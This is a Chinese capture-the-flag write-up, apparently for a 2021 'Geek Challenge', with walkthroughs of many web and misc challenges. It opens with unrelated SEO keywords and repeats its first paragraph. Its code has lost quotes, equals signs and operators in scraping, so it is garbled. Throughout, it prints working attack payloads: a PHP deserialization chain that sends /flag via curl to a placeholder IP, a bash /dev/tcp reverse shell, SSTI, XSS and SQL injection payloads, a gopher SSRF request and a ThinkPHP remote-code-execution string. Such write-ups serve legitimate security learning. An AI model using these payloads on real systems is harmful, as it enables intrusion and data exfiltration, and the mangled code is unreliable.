外贸公司英文网站建设,溧阳免费做网站,电商中seo是什么意思,企业网站建设费用详情题量很大#xff0c;收获挺多#xff0c;持续时间也长#xff0c;据说结束之后会再持续一段时间#xff0c;然后题目会开源。
WEB
Dark
暗网签到#xff0c;难以置信 Welcome2021
改个请求方法会提示你文件#xff0c;再进去就好了 babysql
直接把请求包扔sqlmap里收获挺多持续时间也长据说结束之后会再持续一段时间然后题目会开源。
WEB
Dark
暗网签到难以置信 Welcome2021
改个请求方法会提示你文件再进去就好了 babysql
直接把请求包扔sqlmap里跑就完事了
sqlmap -r sql.txt -D flag -T fllag -C fllllllag --dump babyPOP
题目
?php
class a {public static $Do_u_like_JiaRan false;public static $Do_u_like_AFKL false;
}class b {private $i_want_2_listen_2_MaoZhongDu;public function __toString(){if (a::$Do_u_like_AFKL) {return exec($this-i_want_2_listen_2_MaoZhongDu);} else {throw new Error(Noooooooooooooooooooooooooooo!!!!!!!!!!!!!!!!);}}
}class c {public function __wakeup(){a::$Do_u_like_JiaRan true;}
}class d {public function __invoke(){a::$Do_u_like_AFKL true;return 关注嘉然, . $this-value;}
}class e {public function __destruct(){if (a::$Do_u_like_JiaRan) {($this-afkl)();} else {throw new Error(Noooooooooooooooooooooooooooo!!!!!!!!!!!!!!!!);}}
}if (isset($_GET[data])) {unserialize(base64_decode($_GET[data]));
} else {highlight_file(__FILE__);
}很简单的pop链链子很好构造我最初的想法是
调用exec就要a::$Do_u_like_AFKLtrue全局中只有利用d类的invoke才行调用toString需要把对象当作字符串用刚好也在invoke里如何调用invokee类的destruct就可以了我之前是如何调用destruct的呢我通常把这个类对象复制一份再把原先那个unset序列化原对象的副本就好了但这个方法一般只适用于destruct为链子第一段但这题不一样需要满足里面的if语句欲使a::$Do_u_like_JiaRantrue就要经过c类的wakeup这里我刚开始就不会了。c怎么和e连起来
这是最早的坎还是那句话太菜了
后来彻查destruct用法又了解了显式销毁与隐式销毁后才明白destruct不只直接销毁调用。这里挂一下destruct与显隐销毁定义 __destruct析构函数当某个对象成为垃圾或者当对象被显式销毁时执行 显式销毁当对象没有被引用时就会被销毁,所以我们可以unset或为其赋值NULL 隐式销毁PHP是脚本语言,在代码执行完最后一行时,所有申请的内存都要释放掉 所以当我们定义一个不存在的变量再把这个变量创建为目标类的实例就好因为这个对象本来就不存在所以满足没有任何引用即满足destruct调用条件。
链子可以连起来了那就没什么思路问题了注意b里的私有属性在b里改就行。
exp
?php
class b {private $i_want_2_listen_2_MaoZhongDu;public function __construct(){$this-i_want_2_listen_2_MaoZhongDucurl http://xxx.xxx.xxx.xxx:xxxx/base64 /flag;}
}class c {public $cv;public function __construct(){$this-cvnew e();}
}class d {public $value;public function __construct(){$this-valuenew b();}
}class e {public $afkl;public function __construct(){$this-afklnew d();}
}$anew c();
echo(base64_encode(serialize($a)));这里还涉及一个无回显获取flag。当我们在exec里外带时发现有字符长度限制使用base64带出发现全是小写无法解密。这里写个脚本用于执行payload
import requests
import base64while 1:com str(input())a O:1:c:1:{s:2:cv;O:1:e:1:{s:4:afkl;O:1:d:1:{s:5:value;O:1:b:1:{ \s:31:\x00b\x00i_want_2_listen_2_MaoZhongDu;s:%s:%s;}}}} % (len(com), com)data base64.b64encode(a.encode())b requests.get(http://1.14.102.22:8114/?data%s % data)print(a)print(b.text)在DNSlog里外带但是我这里不知道是不是因为linux的原因No Data
放一个朋友的 采用反弹shell发现弹不了不知道为啥。所以这里采用curl http://公网ip:端口/base64 /flag的方法。
这里进行反弹直接请求包解码出flag
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-GNUMHnLX-1675906165629)(https://blog-1307674006.cos.ap-shanghai.myqcloud.com/blog_images/2021_geek_challenge_web_babypop_3.png)]
where_is_my_FUMO
这题正向连接也不知道是不是这么叫反正这个箭头很有讲究参考链接
题目
?php
function chijou_kega_no_junnka($str) {$black_list [, ;, |, {, }, /, ];return str_replace($black_list, , $str);
}if (isset($_GET[DATA])) {$data $_GET[DATA];$addr chijou_kega_no_junnka($data[ADDR]);$port chijou_kega_no_junnka($data[PORT]);exec(bash -c \bash -i /dev/tcp/$addr/$port\);
} else {highlight_file(__FILE__);
}因为过滤空格所以使用tab绕过
payloadDATA[ADDR]ipDATA[PORT]port%091%260
反弹成功后flag居然是一张图片那就只能二进制读取或者base了而且终端有长度限制所以使用tail与head截取
cat /flag.png | base64 | tail -n 1|head -n 8000
cat /flag.png | base64 | tail -n 8001|head -n 8000
每次读8000行读两次把读取到的base64编码转为图片就好了 babyphp
注释–robots.txt–noobcurl.php
?php
function ssrf_me($url){$ch curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);$output curl_exec($ch);curl_close($ch);echo $output;
}if(isset($_GET[url])){ssrf_me($_GET[url]);
}
else{highlight_file(__FILE__);echo !-- 有没有一种可能flag在根目录 --;
}尝试file://伪协议读取?urlfile:///flag出现flag
babyPy
最基础的SSTI但我对这个python web不太了解所以边百度边学的放个链接
蒙的flag文件名
payload{{self.__class__.__base__.__subclasses__()[133].__init__.__globals__[__builtins__].open(flag).read()}}
蜜雪冰城甜蜜蜜
说要买到第9号饮料F12打开每个饮料都有一个id随便找一个改成9再点击这个商品就出flag了
雷克雅未克
恭喜EDG在冰岛雷克雅未克获得英雄联盟S11全球总决赛冠军
这题很蠢先看Cookie查了自己经纬度发现它把经度设置为y纬度设置为x
那我查到雷克雅未克直接改Cookie不就行了吗它验证的时候却反过来x是经度y是纬度
还有这题是改check.php的包添加X-Forwarded-For: 5.23.95.255Cookie: x64.963943; y-19.02116回返回jsfuck代码
直接控制台打印就行
人民艺术家
用它给的帐号密码登录抓返回包发现有个JWT放jwt.io里改成如下
我也不知道怎么获得密钥朋友和我说的爆破出1234离大谱把改好的发包过去即可看到文件名
访问即得flag
babyxss
直接闭合后面的符号然后双写绕过
payload);/script;}scriptalealertrt(1)/script
Baby_PHP_Black_Magic_Enlightenment
套套套套套套套
第一层
PHP is the best Language
Have you ever heard about PHP Black Magic
?php
echo PHP is the best Language br/;
echo Have you ever heard about PHP Black Magicbr/;
error_reporting(0);
$temp $_GET[password];
is_numeric($temp)?die(no way):NULL;
if($temp9999){echo file_get_contents(./2.php);echo Hows that possible;
}
highlight_file(__FILE__);
//Art is long, but life is short. So I use PHP.
//I think Its So useful that DiaoRen Said;
//why not they use their vps !!!
//BBTZ le jiarenmen?去了解一下is_numeric就可以了payload?password10000a提示居然在注释里我找了好久
第二层
Just g1ve it a try. ?php
error_reporting(0);$flaggetenv(flag);
if (isset($_GET[user]) and isset($_GET[pass]))
{if ($_GET[user] $_GET[pass])echo no no no no way for you to do so.;else if (sha1($_GET[user]) sha1($_GET[pass]))die(G1ve u the flag.$flag);elseecho not right;
}
elseecho Just g1ve it a try.;
highlight_file(__FILE__);
?直接数组绕过就好了
payload?user[]apass[]b
获得的flagbaby_revenge.php进入第三层去掉flag访问baby_revenge.php
第三层
Just G1ve it a try. ?php
error_reporting(0);$flaggetenv(fllag);
if (isset($_GET[user]) and isset($_GET[pass]))
{if ($_GET[user] $_GET[pass])echo no no no no way for you to do so.;else if(is_array($_GET[user]) || is_array($_GET[pass]))die(There is no way you can sneak me, young man!);else if (sha1($_GET[user]) sha1($_GET[pass])){echo Hanzo:It is impossible only the tribe of Shimada can controle the dragonbr/;die(Genji:We will see again Hanzo.$flag.br/);}elseecho Wrong!;
}elseecho Just G1ve it a try.;
highlight_file(__FILE__);
?
//刚才大意了 没有检测数组就让你执行了sha1函数 不讲武德 来偷袭 这下我修复了看你还能怎么办 //刚才大意了 没有检测数组就让你执行了sha1函数 不讲武德 来偷袭 这下我修复了看你还能怎么办 这里我直接用的sha1碰撞
payload
?user%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1pass%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1我本地php测试发现他俩是不一样的网上其他博主发的碰撞在我本地也显示也不一样但是在这个靶机里这俩sha1一样奇怪根据提示访问here_s_the_flag.php进入第四层
第四层
?php
$flaggetenv(flllllllllag);
if(strstr(Longlone,$_GET[id])) {echo(no no no!br);exit();
}$_GET[id] urldecode($_GET[id]);
if($_GET[id] Longlone)
{echo flag: $flag;
}
highlight_file(__FILE__);
?这题刚开始也不会后来想起来在xctf做过一题url二次编码浏览器还是啥本身接收了一串url就会url解码一遍了所以编码一次过不了第一个if编码两次就可以了后面会再解码一次的。
payload?id%254c%256f%256e%2567%256c%256f%256e%2565
即得flag
期末不挂科就算成功
注释里发现debug.php访问它
发现url是传入文件我们传入index.php会直接显示渲染过的index.php页面所以使用php伪协议用base64读取index.php源码
payload?filephp://filter/convert.base64-encode/resourceindex.php
记住不要直接从F12里复制base它会省略一部分base导致解码后显示不全代码完整解码后有以下php代码
?php
$ch curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET[url]);
#curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
#curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
curl_exec($ch);
curl_close($ch);
//你当前位于学校172.17.0.0/24网段下 其实还有台机子里面可以修改成绩 我偷偷告诉你password是123456,name是admin,//result必须要改成60 不然学校会查的
?很明显了index.php传url好像也没ban什么这里采用gopher最强协议修改成绩但在这之前我们需要知道内网的主机有哪些可以爆破但我这里查看/proc/net/arp和/etc/hosts两个文件。
两个文件里把在172.17.0.0/24网段下的拎出来
172.17.0.6 5769d2ff2afcIP address HW type Flags HW address Mask Device
172.17.0.242 0x1 0x0 00:00:00:00:00:00 * eth0
172.17.0.233 0x1 0x0 00:00:00:00:00:00 * eth0
172.17.0.246 0x1 0x0 00:00:00:00:00:00 * eth0
172.17.0.237 0x1 0x0 00:00:00:00:00:00 * eth0
172.17.0.229 0x1 0x0 00:00:00:00:00:00 * eth0
172.17.0.249 0x1 0x0 00:00:00:00:00:00 * eth0
172.17.0.253 0x1 0x0 00:00:00:00:00:00 * eth0
172.17.0.232 0x1 0x0 00:00:00:00:00:00 * eth0
172.17.0.241 0x1 0x0 00:00:00:00:00:00 * eth0
172.17.0.236 0x1 0x0 00:00:00:00:00:00 * eth0
172.17.0.245 0x1 0x0 00:00:00:00:00:00 * eth0
172.17.0.248 0x1 0x0 00:00:00:00:00:00 * eth0
172.17.0.252 0x1 0x0 00:00:00:00:00:00 * eth0
172.17.0.235 0x1 0x0 00:00:00:00:00:00 * eth0
172.17.0.7 0x1 0x2 02:42:ac:11:00:07 * eth0
172.17.0.240 0x1 0x0 00:00:00:00:00:00 * eth0
172.17.0.239 0x1 0x0 00:00:00:00:00:00 * eth0
172.17.0.244 0x1 0x0 00:00:00:00:00:00 * eth0
172.17.0.231 0x1 0x0 00:00:00:00:00:00 * eth0
172.17.0.251 0x1 0x0 00:00:00:00:00:00 * eth0
172.17.0.255 0x1 0x0 00:00:00:00:00:00 * eth0
172.17.0.234 0x1 0x0 00:00:00:00:00:00 * eth0
172.17.0.243 0x1 0x0 00:00:00:00:00:00 * eth0
172.17.0.238 0x1 0x0 00:00:00:00:00:00 * eth0
172.17.0.247 0x1 0x0 00:00:00:00:00:00 * eth0
172.17.0.230 0x1 0x0 00:00:00:00:00:00 * eth0
172.17.0.250 0x1 0x0 00:00:00:00:00:00 * eth0
172.17.0.254 0x1 0x0 00:00:00:00:00:00 * eth0
172.17.0.1 0x1 0x2 02:42:02:bf:e7:e3 * eth0这里去掉没硬件地址的也就那几个试一试就发现了毕竟172.17.0.7开了80端口然后去百度怎么利用gopher传post值为什么是post因为get我没试出来而且传账密这种东西一般就是post记住ssrf要url二次编码
payload
?url%67%6f%70%68%65%72%3a%2f%2f%31%37%32%2e%31%37%2e%30%2e%37%3a%38%30%2f%5f%50%4f%53%54%25%32%30%2f%69%6e%64%65%78%2e%70%68%70%25%32%30%48%54%54%50%2f%31%2e%31%25%30%44%25%30%41%48%6f%73%74%25%33%41%25%32%30%31%37%32%2e%31%37%2e%30%2e%37%25%33%41%38%30%25%30%44%25%30%41%43%6f%6e%74%65%6e%74%2d%54%79%70%65%25%33%41%25%32%30%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%2d%77%77%77%2d%66%6f%72%6d%2d%75%72%6c%65%6e%63%6f%64%65%64%25%30%44%25%30%41%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%25%33%41%25%32%30%33%36%25%30%44%25%30%41%25%30%44%25%30%41%6e%61%6d%65%25%33%44%61%64%6d%69%6e%25%32%36%70%61%73%73%77%6f%72%64%25%33%44%31%32%33%34%35%36%25%32%36%72%65%73%75%6c%74%25%33%44%36%30%25%30%44%25%30%41出flag
成全
payload?sindex/think\app/invokefunctionfunctioncall_user_func_arrayvars[0]assertvars[1][]/flag
刚开始一条命令直接出后来改题目了复现的时候没做出来
RE
PWN
恋爱小游戏
连上就是shell
CRYPTO
MISC
In the Air
人家学校里才能做好兄弟发的
easysend
领取以太坊测试币发过去就行了
这是什么命令 Intro Hint: 命令执行的vps ip为 110.42.233.91 执行的命令 cat flag.png | base64 | base64 | tac | nl | sort -k 2 flag.txt ;rm -f flag.png nohup php -S 0.0.0.0:2333 /dev/null 21 分开来分析 第一部分cat flag.png | base64 | base64 | tac | nl | sort -k 2 flag.txt tac文件内容倒序输出 nl输出文件内容并加上行号 sort -k 2将内容从a-z排序后输出 所以第一条命令的含义就是将flag.png两次base64的值倒序后按A-Z加上行号输出至flag.txt
第二部分rm -f flag.png nohup php -S 0.0.0.0:2333 /dev/null 21 rm -r删除文件 nohup不挂断地运行命令 php -S启动内置的web服务器 所以第二条命令的含义是删除图片并在后台不间断的运行web服务器端口为2333
直接访问http://110.42.233.91:2333/flag.txt拿到数据直接上脚本
fopen(2333.txt)
df.readlines()
e[]*500
import base64
for i in d:cai.strip().split()print(base64.b64decode(ca[1]))e[int(ca[0])]base64.b64decode(ca[1])
fopen(2333.png,wb)f.write(base64.b64decode(.join(e[::-1])))
f.close()
print(ok)flag在生成的图片里
其他的去好兄弟这里看吧